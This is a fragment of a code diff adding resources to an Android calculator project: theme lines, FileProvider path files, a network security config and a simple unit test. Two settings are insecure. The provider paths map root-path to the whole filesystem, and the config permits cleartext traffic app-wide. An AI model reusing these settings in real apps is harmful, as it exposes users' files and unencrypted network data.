+        <!-- 半透明 -->
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowCloseOnTouchOutside">true</item>
+    </style>
+</resources>

base_theme/src/main/res/xml/app_updater_paths.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<paths>
+    <root-path name="app_root_path" path="/"/>
+    <external-path name="app_external_path" path="/"/>
+    <external-cache-path name="app_external_cache_path" path="/"/>
+    <external-files-path name="app_external_files_path" path="/"/>
+    <files-path name="app_files_path" path="/"/>
+    <cache-path name="app_cache_path" path="/"/>
+
+</paths>

base_theme/src/main/res/xml/network_security_config.xml

@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+    <base-config cleartextTrafficPermitted="true" />
+</network-security-config>

base_theme/src/main/res/xml/provider_paths.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding= "utf-8"?>
+<resources>
+    <paths >
+        <external-path name="external_files" path="."/>
+        <root-path name="root" path="." />
+        <files-path name="files" path="." />
+        <cache-path name="cache" path="." />
+        <external-files-path name="external_files_f" path="." />
+        <external-cache-path name="external_cache" path="." />
+    </paths >
+</resources>
+<!-- 适配7.0及其以上，配合com.eva.android.OpenFileUtil，用于解决调用系统Intent查看大文件内
+    容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

base_theme/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java

@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+public class ExampleUnitTest {
+    @Test
+    public void addition_isCorrect() {
+        assertEquals(4, 2 + 2);
+    }
+
+    @Test
+    public void TestPattern(){
+//
+        Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+        String a="+45.5";
+        boolean matches = compile.matcher(a).matches();
+        System.out.println(matches);
+        String result = compile.matcher(a).replaceAll("");
+        System.out.println(result);
+
+
+    }
+
+
+}